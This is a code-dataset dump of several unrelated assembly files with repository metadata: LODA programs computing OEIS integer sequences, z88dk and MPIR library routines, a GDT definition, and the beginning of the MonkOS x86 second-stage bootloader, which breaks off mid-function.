0d223cd3ec71ade5068851196a449e4d35f5d50d
2,101
asm
Assembly
programs/oeis/158/A158603.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/158/A158603.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/158/A158603.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A158603: a(n) = 441*n^2 + 21. ; 21,462,1785,3990,7077,11046,15897,21630,28245,35742,44121,53382,63525,74550,86457,99246,112917,127470,142905,159222,176421,194502,213465,233310,254037,275646,298137,321510,345765,370902,396921,423822,451605,480270,509817,540246,571557,603750,636825,670782,705621,741342,777945,815430,853797,893046,933177,974190,1016085,1058862,1102521,1147062,1192485,1238790,1285977,1334046,1382997,1432830,1483545,1535142,1587621,1640982,1695225,1750350,1806357,1863246,1921017,1979670,2039205,2099622,2160921,2223102,2286165,2350110,2414937,2480646,2547237,2614710,2683065,2752302,2822421,2893422,2965305,3038070,3111717,3186246,3261657,3337950,3415125,3493182,3572121,3651942,3732645,3814230,3896697,3980046,4064277,4149390,4235385,4322262,4410021,4498662,4588185,4678590,4769877,4862046,4955097,5049030,5143845,5239542,5336121,5433582,5531925,5631150,5731257,5832246,5934117,6036870,6140505,6245022,6350421,6456702,6563865,6671910,6780837,6890646,7001337,7112910,7225365,7338702,7452921,7568022,7684005,7800870,7918617,8037246,8156757,8277150,8398425,8520582,8643621,8767542,8892345,9018030,9144597,9272046,9400377,9529590,9659685,9790662,9922521,10055262,10188885,10323390,10458777,10595046,10732197,10870230,11009145,11148942,11289621,11431182,11573625,11716950,11861157,12006246,12152217,12299070,12446805,12595422,12744921,12895302,13046565,13198710,13351737,13505646,13660437,13816110,13972665,14130102,14288421,14447622,14607705,14768670,14930517,15093246,15256857,15421350,15586725,15752982,15920121,16088142,16257045,16426830,16597497,16769046,16941477,17114790,17288985,17464062,17640021,17816862,17994585,18173190,18352677,18533046,18714297,18896430,19079445,19263342,19448121,19633782,19820325,20007750,20196057,20385246,20575317,20766270,20958105,21150822,21344421,21538902,21734265,21930510,22127637,22325646,22524537,22724310,22924965,23126502,23328921,23532222,23736405,23941470,24147417,24354246,24561957,24770550,24980025,25190382,25401621,25613742,25826745,26040630,26255397,26471046,26687577,26904990,27123285,27342462 mul $0,21 mov $1,$0 pow $1,2 add $1,21
262.625
2,028
0.863874
5ca8dfc34874715194416f1dd71a15af8e5ac90b
531
asm
Assembly
programs/oeis/002/A002056.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/002/A002056.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/002/A002056.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A002056: Number of diagonal dissections of a convex n-gon into n-5 regions. ; 1,14,120,825,5005,28028,148512,755820,3730650,17978180,84987760,395482815,1816357725,8250123000,37119350400,165645101160,733919156190,3231337461300,14147884842000,61636377252450,267325773340626,1154761882042824,4969989654817600 mov $2,$0 add $2,2 mov $1,$2 add $2,1 cal $2,74922 ; Number of ways of arranging n chords on a circle (handshakes between 2n people across a table) with exactly 2 simple intersections. mul $1,$2 sub $1,6 div $1,6 add $1,1
40.846154
229
0.792844
2e3df0d1a9b3366be3557be510e5e83c58f6747e
276
asm
Assembly
libsrc/adt/linkedlist/adt_ListSetCurrBefore.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/adt/linkedlist/adt_ListSetCurrBefore.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/adt/linkedlist/adt_ListSetCurrBefore.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void __FASTCALL__ adt_ListSetCurrBefore(struct adt_List *list) ; 11.2006 aralbrec PUBLIC adt_ListSetCurrBefore EXTERN l_setmem ; enter: HL = struct adt_List* .adt_ListSetCurrBefore inc hl inc hl xor a jp l_setmem-5 ; state = AFTER, current ptr = 0
18.4
64
0.717391
6e401a6ad3c42c2cea558ba94615a50323c26ab8
608
asm
Assembly
programs/oeis/215/A215532.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/215/A215532.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/215/A215532.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A215532: The limit of the string "0, 1" under the operation 'append first k terms, increment k' with k=2 initially. ; 0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,0,1,0,1,0,1,0,0 mov $2,$0 mov $4,$0 lpb $2,1 sub $3,$3 add $4,2 mov $6,6 lpb $4,1 mov $0,$5 mov $4,$6 sub $4,$6 add $4,2 sub $6,$6 lpe trn $6,5 add $6,$2 lpb $6,1 mov $2,$6 sub $2,$0 trn $0,$6 add $0,1 mov $1,$2 add $3,1 trn $4,3 trn $6,$3 lpe trn $2,1 lpe
19.612903
175
0.498355
5585b0989d41f3ae13956adfa32d61bffe65932f
955
asm
Assembly
boot/gdt.asm
coldnine/alpha
03586b834f8b16861364126647c42ae1b2b7c0ca
[ "MIT" ]
8
2018-05-09T11:27:17.000Z
2022-01-28T11:37:06.000Z
boot/gdt.asm
coldnine/proxima
03586b834f8b16861364126647c42ae1b2b7c0ca
[ "MIT" ]
null
null
null
boot/gdt.asm
coldnine/proxima
03586b834f8b16861364126647c42ae1b2b7c0ca
[ "MIT" ]
1
2018-01-05T09:44:57.000Z
2018-01-05T09:44:57.000Z
_gdt_start: ; don't remove the labels, they're needed to compute sizes and jumps ; the GDT starts with a null 8-byte dd 0x0 ; 4 byte dd 0x0 ; 4 byte ; GDT for code segment. base = 0x00000000, length = 0xfffff ; for flags, refer to os-dev.pdf document, page 36 _gdt_code: dw 0xffff ; segment length, bits 0-15 dw 0x0 ; segment base, bits 0-15 db 0x0 ; segment base, bits 16-23 db 10011010b ; flags (8 bits) db 11001111b ; flags (4 bits) + segment length, bits 16-19 db 0x0 ; segment base, bits 24-31 ; GDT for data segment. base and length identical to code segment _gdt_data: dw 0xffff dw 0x0 db 0x0 db 10010010b db 11001111b db 0x0 _gdt_end: ; GDT descriptor _gdt_descriptor: dw _gdt_end - _gdt_start - 1 ; size (16 bit), always one less of its true size dd _gdt_start ; address (32 bit) CODE_SEG equ _gdt_code - _gdt_start DATA_SEG equ _gdt_data - _gdt_start
28.088235
82
0.673298
d2e8d375358c440d3239d1413ccd58b340a699d1
1,117
asm
Assembly
programs/oeis/047/A047526.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047526.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047526.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A047526: Numbers that are congruent to {1, 2, 7} mod 8. ; 1,2,7,9,10,15,17,18,23,25,26,31,33,34,39,41,42,47,49,50,55,57,58,63,65,66,71,73,74,79,81,82,87,89,90,95,97,98,103,105,106,111,113,114,119,121,122,127,129,130,135,137,138,143,145,146,151,153,154,159,161,162,167,169,170,175,177,178,183,185,186,191,193,194,199,201,202,207,209,210,215,217,218,223,225,226,231,233,234,239,241,242,247,249,250,255,257,258,263,265,266,271,273,274,279,281,282,287,289,290,295,297,298,303,305,306,311,313,314,319,321,322,327,329,330,335,337,338,343,345,346,351,353,354,359,361,362,367,369,370,375,377,378,383,385,386,391,393,394,399,401,402,407,409,410,415,417,418,423,425,426,431,433,434,439,441,442,447,449,450,455,457,458,463,465,466,471,473,474,479,481,482,487,489,490,495,497,498,503,505,506,511,513,514,519,521,522,527,529,530,535,537,538,543,545,546,551,553,554,559,561,562,567,569,570,575,577,578,583,585,586,591,593,594,599,601,602,607,609,610,615,617,618,623,625,626,631,633,634,639,641,642,647,649,650,655,657,658,663,665 mov $1,$0 lpb $0,1 sub $0,3 add $1,1 lpe mul $1,2 lpb $0,1 bin $0,4 sub $1,1 lpe add $1,1
74.466667
959
0.714414
06b0b22ab264a2311b62ef8148a86eb2717b87ad
3,178
asm
Assembly
externals/mpir-3.0.0/mpn/x86_64/k8/popcount.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
12
2021-09-29T14:50:06.000Z
2022-03-31T15:01:21.000Z
externals/mpir-3.0.0/mpn/x86_64/k8/popcount.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
15
2021-12-24T22:53:49.000Z
2021-12-25T10:03:13.000Z
LibSource/mpir/mpn/x86_64/k8/popcount.asm
ekzyis/CrypTool-2
1af234b4f74486fbfeb3b3c49228cc36533a8c89
[ "Apache-2.0" ]
10
2021-10-17T19:46:51.000Z
2022-03-18T02:57:57.000Z
dnl mpn_popcount dnl Copyright 2010 The Code Cavern dnl This file is part of the MPIR Library. dnl The MPIR Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 2.1 of the License, or (at dnl your option) any later version. dnl The MPIR Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the MPIR Library; see the file COPYING.LIB. If not, write dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, dnl Boston, MA 02110-1301, USA. include(`../config.m4') C ret mpn_popcount(mp_ptr,mp_size_t) C rax rdi, rsi ASM_START() PROLOGUE(mpn_popcount) push %r12 push %r14 push %r15 mov $0x5555555555555555,%r8 mov $0x3333333333333333,%r9 mov $0x0f0f0f0f0f0f0f0f,%r10 mov $0x0101010101010101,%r11 xor %rax,%rax sub $3,%rsi jc skip mov 16(%rdi,%rsi,8),%rcx mov 8(%rdi,%rsi,8),%r12 mov (%rdi,%rsi,8),%r14 sub $3,%rsi jc skiplp ALIGN(16) lp: mov %rcx,%rdx shr $1,%rcx and %r8,%rcx sub %rcx,%rdx mov %rdx,%rcx shr $2,%rdx and %r9,%rcx and %r9,%rdx add %rcx,%rdx mov %r12,%rcx shr $1,%r12 and %r8,%r12 sub %r12,%rcx mov %rcx,%r12 shr $2,%rcx and %r9,%r12 and %r9,%rcx add %rcx,%r12 mov %r14,%r15 shr $1,%r14 and %r8,%r14 mov 16(%rdi,%rsi,8),%rcx sub %r14,%r15 mov %r15,%r14 shr $2,%r15 and %r9,%r14 and %r9,%r15 add %r14,%r15 add %rdx,%r12 add %r15,%r12 mov %r12,%r14 shr $4,%r12 and %r10,%r14 and %r10,%r12 add %r12,%r14 imul %r11,%r14 shr $56,%r14 add %r14,%rax mov 8(%rdi,%rsi,8),%r12 sub $3,%rsi mov 24-0(%rdi,%rsi,8),%r14 jnc lp skiplp: mov %rcx,%rdx shr $1,%rcx and %r8,%rcx sub %rcx,%rdx mov %rdx,%rcx shr $2,%rdx and %r9,%rcx and %r9,%rdx add %rcx,%rdx mov %r12,%rcx shr $1,%r12 and %r8,%r12 sub %r12,%rcx mov %rcx,%r12 shr $2,%rcx and %r9,%r12 and %r9,%rcx add %rcx,%r12 mov %r14,%r15 shr $1,%r14 and %r8,%r14 sub %r14,%r15 mov %r15,%r14 shr $2,%r15 and %r9,%r14 and %r9,%r15 add %r14,%r15 add %rdx,%r12 add %r15,%r12 mov %r12,%r14 shr $4,%r12 and %r10,%r14 and %r10,%r12 add %r12,%r14 imul %r11,%r14 shr $56,%r14 add %r14,%rax skip: cmp $-2,%rsi jl case0 jz case1 case2: mov 16(%rdi,%rsi,8),%rcx mov %rcx,%rdx shr $1,%rcx and %r8,%rcx sub %rcx,%rdx mov %rdx,%rcx shr $2,%rdx and %r9,%rcx and %r9,%rdx add %rcx,%rdx mov %rdx,%r14 shr $4,%rdx and %r10,%r14 and %r10,%rdx add %rdx,%r14 imul %r11,%r14 shr $56,%r14 add %r14,%rax dec %rsi case1: mov 16(%rdi,%rsi,8),%rcx mov %rcx,%rdx shr $1,%rcx and %r8,%rcx sub %rcx,%rdx mov %rdx,%rcx shr $2,%rdx and %r9,%rcx and %r9,%rdx add %rcx,%rdx mov %rdx,%r14 shr $4,%rdx and %r10,%r14 and %r10,%rdx add %rdx,%r14 imul %r11,%r14 shr $56,%r14 add %r14,%rax case0: pop %r15 pop %r14 pop %r12 ret EPILOGUE()
17.271739
79
0.650724
df2b70842672c19d6ab1c2bd8d96bc3666bfa9f9
32
asm
Assembly
src/main/fragment/mos6502-common/pbuc1_derefidx_vbuyy=_inc_pbuc1_derefidx_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/pbuc1_derefidx_vbuyy=_inc_pbuc1_derefidx_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/pbuc1_derefidx_vbuyy=_inc_pbuc1_derefidx_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {c1},y clc adc #1 sta {c1},y
8
10
0.59375
a3017c0e81e839f1f3a879d46f6db8668d5fb313
325
asm
Assembly
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/heap_calloc_unlocked.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/heap_calloc_unlocked.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/heap_calloc_unlocked.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *heap_calloc_unlocked(void *heap, size_t nmemb, size_t size) SECTION code_clib SECTION code_alloc_malloc PUBLIC _heap_calloc_unlocked EXTERN asm_heap_calloc_unlocked _heap_calloc_unlocked: pop af pop de pop hl pop bc push bc push hl push de push af jp asm_heap_calloc_unlocked
13.541667
67
0.741538
af71b2324e011640bdb274a0a887a4d66e0df286
443
asm
Assembly
semester-5/microprocessor/input.asm
saranshbht/bsc-codes
7386c09cc986de9c84947f7dea7db3dc42219a35
[ "MIT" ]
3
2021-03-22T12:07:14.000Z
2021-08-30T17:28:23.000Z
semester-5/microprocessor/input.asm
saranshbht/bsc-codes
7386c09cc986de9c84947f7dea7db3dc42219a35
[ "MIT" ]
null
null
null
semester-5/microprocessor/input.asm
saranshbht/bsc-codes
7386c09cc986de9c84947f7dea7db3dc42219a35
[ "MIT" ]
null
null
null
.model small .data msg db 10,"Enter a number:$" msg1 db 10,"Entered number:$" .code mov ax, @data mov ds, ax lea dx, msg mov ah, 09h int 21h mov ah, 01h int 21h sub al, 30h mov bl, al shl bl, 4 mov ah, 01h int 21h sub al, 30h add bl, al lea dx, msg1 mov ah, 09h int 21h rol bl, 4 mov cl, bl and cl, 0fh add cl, 30h mov dl, cl mov ah, 02h int 21h rol bl, 4 mov cl, bl and cl, 0fh add cl, 30h mov dl, cl mov ah, 02h int 21h .exit end
8.86
29
0.654628
e94e4f80f52b9cbf6b226be0ae328789c7146b7e
51,768
asm
Assembly
boot/loader.asm
BernieGurs/MonkOS
84381b14e8706d1e8f46ddd045cdb0ae9f64eff7
[ "BSD-2-Clause" ]
132
2016-02-03T22:03:46.000Z
2022-01-27T19:17:36.000Z
boot/loader.asm
BernieGurs/MonkOS
84381b14e8706d1e8f46ddd045cdb0ae9f64eff7
[ "BSD-2-Clause" ]
2
2020-05-13T11:56:53.000Z
2021-06-14T16:31:07.000Z
boot/loader.asm
BernieGurs/MonkOS
84381b14e8706d1e8f46ddd045cdb0ae9f64eff7
[ "BSD-2-Clause" ]
34
2016-03-01T07:08:56.000Z
2021-11-18T16:17:58.000Z
;============================================================================= ; @file loader.asm ; ; A second-stage boot loader suitable for an El Torito ISO 9660 cdrom image. ; ; This boot loader is executed after the first stage loader completes. Its ; responsibility is to load the kernel into memory, place the CPU into ; protected mode, then into 64-bit mode, and to start the kernel's execution. ; ; This loader allows for kernel images that are several megabytes in size. ; Making this possible was a bit tricky. 16-bit real mode is required to use ; the BIOS routines that load the kernel image from cdrom, but you can only ; use about 600KiB of memory while in real mode. So this loader switches ; between real mode and 32-bit protected mode while transferring chunks of the ; kernel image from lower to upper memory. ; ; Copyright 2016 Brett Vickers. ; Use of this source code is governed by a BSD-style license that can ; be found in the MonkOS LICENSE file. ;============================================================================= ; The second-stage boot loader starts in 16-bit real mode. bits 16 ; The second-stage loader is executed from code segment 0, starting at address ; 0x8000. org 0x8000 ; Produce a map file containing all symbols and sections. [map all ../build/boot/loader.map] ; Include constants, structures, and macros. %include "include/mem.inc" ; Memory layout constants %include "include/globals.inc" ; Global variable definitions %include "include/bios.inc" ; BIOS structures %include "include/iso9660.inc" ; ISO9660 structures %include "include/gdt.inc" ; Global descriptor table structures ;============================================================================= ; load ; ; This is the second stage loader's entry point. ; ; This code is launched by the first-stage loader and runs in 16-bit real mode ; starting at address 0:0x8000. ; ; Memory layout before this code starts running: ; ; 00000000 - 000003ff 1,024 bytes Real mode IVT ; 00000400 - 000004ff 256 bytes BIOS data area ; 00000500 - 000006ff 512 bytes Global variables ; 00000700 - 00007bff 29,952 bytes Free ; 00007c00 - 00007dff 512 bytes First-stage boot loader (MBR) ; 00007e00 - 00097fff 512 bytes Free ; 00008000 - 0000ffff 32,768 bytes Second-stage boot loader ; 00010000 - 0009fbff 588,800 bytes Free ; 0009fc00 - 0009ffff 1,024 bytes Extended BIOS data area (EBDA) ; 000a0000 - 000bffff 131,072 bytes BIOS video memory ; 000c0000 - 000fffff 262,144 bytes ROM ; ; [ See http://wiki.osdev.org/Memory_Map_(x86) ] ; ; Memory regions used or modified by this code: ; ; 00000800 - 00000fff 2,048 bytes Cdrom sector read buffer ; 00003000 - 000030ff 256 bytes Global Descriptor Table (GDT) ; 00003100 - 000031ff 256 bytes Task State Segment (TSS) ; 00003200 - 00003fff 3,584 bytes Global variables ; 00004000 - 00007bff 16,384 bytes Real mode stack ; 00010000 - 00017fff 32,768 bytes Page tables ; 0006f000 - 0006ffff 4,096 bytes 32-bit protected mode stack ; 00070000 - 0007ffff 65,536 bytes Kernel load buffer ; 00070000 - 00075fff 24,576 bytes Memory table (from BIOS) ; 0008a000 - 0008ffff 24,576 bytes Kernel special interrupt stacks ; 00100000 - 001fefff 1,044,480 bytes Kernel interrupt stack ; 00200000 - 002fffff 1,048,576 bytes Kernel stack ; 00300000 - (krnize) Kernel image ; ;============================================================================= load: .init: ; Disable interrupts while updating segment registers and stack ; pointer. cli ; Initialize all segment registers to zero. xor ax, ax mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ; Initialize the stack pointer. mov sp, Mem.Stack.Top ; Clear all remaining general purpose registers. xor bx, bx xor cx, cx xor dx, dx xor si, si xor di, di xor bp, bp ;------------------------------------------------------------------------- ; Enable the A20 address line for upper memory access ;------------------------------------------------------------------------- .enableA20: ; Attempt to enable the A20 line if necessary. call EnableA20 jnc .error.A20 ; Display a status message. mov si, String.Status.A20Enabled call DisplayStatusString ;------------------------------------------------------------------------- ; Make sure we have a 64-bit CPU ;------------------------------------------------------------------------- .detect64BitMode: ; Detect if the cpuid instruction is available. call HasCPUID jnc .error.noCPUID ; Is the processor info function supported? mov eax, 0x80000000 ; Get Highest Extended Function Supported cpuid cmp eax, 0x80000001 jb .error.no64BitMode ; Use processor info function to see if 64-bit mode is supported. mov eax, 0x80000001 ; Extended Processor Info and Feature Bits cpuid test edx, (1 << 29) ; 64-bit mode bit jz .error.no64BitMode ; Clear 32-bit register values. xor eax, eax xor edx, edx ; Display a status message. mov si, String.Status.CPU64Detected call DisplayStatusString ;------------------------------------------------------------------------- ; Enable SSE on the CPU ;------------------------------------------------------------------------- .enableSSE: ; Load CPU feature flags into ecx and edx. mov eax, 1 cpuid ; Check for FXSAVE/FXRSTOR support. test edx, (1 << 24) jz .error.noFXinst ; Check for SSE1 support. test edx, (1 << 25) jz .error.noSSE ; Check for SSE2 support. test edx, (1 << 26) jz .error.noSSE2 ; Enable hardware FPU with monitoring. mov eax, cr0 and eax, ~(1 << 2) ; turn off CR0.EM bit (x87 FPU is present) or eax, (1 << 1) ; turn on CR0.MP bit (monitor FPU) mov cr0, eax ; Make sure FXSAVE/FXRSTOR instructions save the contents of the FPU ; MMX, XMM and MXCSR registers. Enable the use of SSE instructions. ; And indicate that the kernel is capable of handling SIMD floating- ; point exceptions. mov eax, cr4 or eax, (1 << 9) | (1 << 10) ; CR4.OFXSR, CR4.OSXMMEXCPT mov cr4, eax ; Display a status message. mov si, String.Status.SSEEnabled call DisplayStatusString ;------------------------------------------------------------------------- ; Load the kernel image into upper memory ;------------------------------------------------------------------------- .loadKernel: ; Enable interrupts while loading the kernel. sti ; Use a temporary GDT while loading the kernel, since we use 32-bit ; protected mode during the load. lgdt [GDT32.Table.Pointer] ; Find the first sector and size of the kernel, with results in bx and ; eax. call FindKernel jc .error.kernelNotFound ; Display a status message. mov si, String.Status.KernelFound call DisplayStatusString ; Start loading the kernel into memory. call LoadKernel jc .error.kernelLoadFailed ; Display a status message. mov si, String.Status.KernelLoaded call DisplayStatusString ; Disable interrupts and leave them disabled until the kernel ; launches. The kernel is responsible for setting up the interrupt ; controllers and tables before re-enabling interrupts. cli ;------------------------------------------------------------------------- ; Retrieve memory layout from the BIOS ;------------------------------------------------------------------------- .readLayout: ; Use the BIOS to collect an array of memory ranges available and in ; use. call ReadMemLayout ;------------------------------------------------------------------------- ; Wipe memory zones that the loaders used ;------------------------------------------------------------------------- .wipeMemory: cld push es ; Wipe the real mode BIOS IVT. xor ax, ax mov es, ax xor di, Mem.BIOS.IVT mov cx, Mem.BIOS.IVT.Size rep stosb ; Wipe the real mode BIOS data area. mov di, Mem.BIOS.Data mov cx, Mem.BIOS.Data.Size rep stosb ; Wipe the stage-1 boot loader. mov di, Mem.Loader1 mov cx, Mem.Loader1.Size rep stosb ; Wipe the temporary 32-bit protected mode stack. mov ax, Mem.Stack32.Temp.Bottom >> 4 mov es, ax xor ax, ax xor di, di mov cx, Mem.Stack32.Temp.Top - Mem.Stack32.Temp.Bottom rep stosb ; Restore original es register. pop es ;------------------------------------------------------------------------- ; Set up (but don't yet install) the 64-bit GDT ;------------------------------------------------------------------------- .setupGDT64: ; Copy the GDT to its memory layout location. mov si, GDT64.Table mov di, Mem.GDT mov cx, GDT64.Table.Size shr cx, 1 rep movsw ;------------------------------------------------------------------------- ; Set up (but don't yet install) the 64-bit task state segment ;------------------------------------------------------------------------- .setupTSS: ; Copy the TSS entry to its target memory location. mov si, TSS64.Entry mov di, Mem.TSS64 mov cx, TSS64.Entry.Size shr cx, 1 rep movsw ;------------------------------------------------------------------------- ; Set up page tables ;------------------------------------------------------------------------- .setupPageTables: ; Create page tables that identity-map the first 10MiB of memory. This ; should be more than enough to hold the kernel and its stacks. call SetupPageTables ; Enable PAE paging. mov eax, cr4 or eax, (1 << 5) ; CR4.PAE mov cr4, eax ;------------------------------------------------------------------------- ; Enable 64-bit protected mode and paging ;------------------------------------------------------------------------- .enable64BitMode: ; Enable 64-bit mode and syscall/sysret. mov ecx, 0xc0000080 ; Extended Feature Enable Register (EFER) rdmsr or eax, (1 << 8) | (1 << 0) wrmsr ; Enable paging and protected mode. mov eax, cr0 or eax, (1 << 31) | (1 << 0) ; CR0.PG, CR0.PE mov cr0, eax ; Enable global pages mov eax, cr4 or eax, (1 << 7) ; CR4.PGE mov cr4, eax ; Load the 64-bit GDT. lgdt [GDT64.Table.Pointer] ; Do a long jump using the new GDT, which forces the switch to 64-bit ; mode. jmp GDT64.Selector.Kernel.Code : .launch64 bits 64 ;------------------------------------------------------------------------- ; Launch the 64-bit kernel ;------------------------------------------------------------------------- .launch64: ; Save CPU feature bits into global memory block mov eax, 1 cpuid mov [Globals.CPUFeatureBitsECX], ecx mov [Globals.CPUFeatureBitsEDX], edx ; Wipe the real mode stack. xor eax, eax mov rdi, Mem.Stack.Bottom mov ecx, Mem.Stack.Top - Mem.Stack.Bottom rep stosb ; Load the mandatory 64-bit task state segment. mov ax, GDT64.Selector.TSS ltr ax ; Set up the data segment registers. Note that in 64-bit mode the CPU ; treats cs, ds, es, and ss as zero regardless of what we store there. ; (gs and fs are exceptions; they can be used as real segment ; registers.) mov ax, GDT64.Selector.Kernel.Data mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ; Set the kernel stack pointer. mov rsp, Mem.Kernel.Stack.Top ; Initialize all general purpose registers. xor rax, rax xor rbx, rbx xor rcx, rcx xor rdx, rdx xor rdi, rdi xor rsi, rsi xor rbp, rbp xor r8, r8 xor r9, r9 xor r10, r10 xor r11, r11 xor r12, r12 xor r13, r13 xor r14, r14 xor r15, r15 ; Do a jump to the kernel's entry point. jmp Mem.Kernel.Code bits 16 ;------------------------------------------------------------------------- ; Error handlers ;------------------------------------------------------------------------- .error.A20: mov si, String.Error.A20 jmp .error .error.noCPUID: mov si, String.Error.NoCPUID jmp .error .error.no64BitMode: mov si, String.Error.No64BitMode jmp .error .error.kernelNotFound: mov si, String.Error.KernelNotFound jmp .error .error.kernelLoadFailed: mov si, String.Error.KernelLoadFailed jmp .error .error.noSSE: mov si, String.Error.NoSSE jmp .error .error.noSSE2: mov si, String.Error.NoSSE2 jmp .error .error.noFXinst: mov si, String.Error.NoFXinst jmp .error .error: call DisplayErrorString .hang: cli hlt jmp .hang ;============================================================================= ; EnableA20 ; ; Enable the A20 address line, so memory above 1MiB can be accessed. ; ; Returned flags: ; CF Set if enabled ; ; Killed registers: ; None ;============================================================================= EnableA20: ; Preserve ax register. push ax ; Check if the A20 line is already enabled. call TestA20 jc .done .attempt1: ; Attempt enabling with the BIOS. mov ax, 0x2401 int 0x15 ; Check if A20 line is now enabled. call TestA20 jc .done .attempt2: ; Attempt enabling with the keyboard controller. call .attempt2.wait1 ; Disable keyboard mov al, 0xad out 0x64, al call .attempt2.wait1 ; Read from input mov al, 0xd0 out 0x64, al call .attempt2.wait2 ; Get keyboard data in al, 0x60 push eax call .attempt2.wait1 ; Write to output mov al, 0xd1 out 0x64, al call .attempt2.wait1 ; Send data pop eax or al, 2 out 0x60, al call .attempt2.wait1 ; Enable keyboard mov al, 0xae out 0x64, al call .attempt2.wait1 ; Check if the A20 line is now enabled. call TestA20 jc .done jmp .attempt3 .attempt2.wait1: in al, 0x64 test al, 2 jnz .attempt2.wait1 ret .attempt2.wait2: in al, 0x64 test al, 1 jz .attempt2.wait2 ret .attempt3: ; Attempt enabling with the FAST A20 feature. in al, 0x92 or al, 2 out 0x92, al xor ax, ax ; Check if A20 line is now enabled. call TestA20 .done: ; Restore register. pop ax ret ;============================================================================= ; TestA20 ; ; Check to see if the A20 address line is enabled. ; ; Return flags: ; CF Set if enabled ; ; Killed registers: ; None ;============================================================================= TestA20: ; Preserve registers. push ds push es pusha ; Initialize return result to "not enabled". clc ; Set es segment register to 0x0000. xor ax, ax mov es, ax ; Set ds segment register to 0xffff. not ax mov ds, ax ; If the A20 line is disabled, then es:di and ds:si will point to the same ; physical memory location due to wrap-around at 1 MiB. ; ; es:di = 0000:0500 = 0x0000 * 16 + 0x0500 = 0x00500 = 0x0500 ; ds:si = ffff:0510 = 0xffff * 16 + 0x0510 = 0x10500 = 0x0500 mov di, 0x0500 mov si, 0x0510 ; Preserve the original values stored at es:di and ds:si. mov ax, [es:di] push ax mov ax, [ds:si] push ax ; Write different values to each logical address. mov byte [es:di], 0x00 mov byte [ds:si], 0xff ; If a store to ds:si changes the value at es:di, then memory wrapped and ; A20 is not enabled. cmp byte [es:di], 0xff ; Restore the original values stored at es:di and ds:si. pop ax mov [ds:si], ax pop ax mov [es:di], ax je .done .enabled: ; Set the carry flag to indicate the A20 line is enabled. stc .done: ; Restore registers. popa pop es pop ds ret ;============================================================================= ; HasCPUID ; ; Detect if the cpu supports the CPUID instruction. ; ; Bit 21 of the EFLAGS register can be modified only if the CPUID instruction ; is supported. ; ; Return flags: ; CF Set if CPUID is supported ; ; Killed registers: ; None ;============================================================================= HasCPUID: ; Preserve registers. push eax push ecx ; Copy flags to eax and ecx. pushfd pop eax mov ecx, eax ; Set flag 21 (the ID bit) xor eax, (1 << 21) push eax popfd ; Copy flags back to eax. If CPUID is supported, bit 21 will 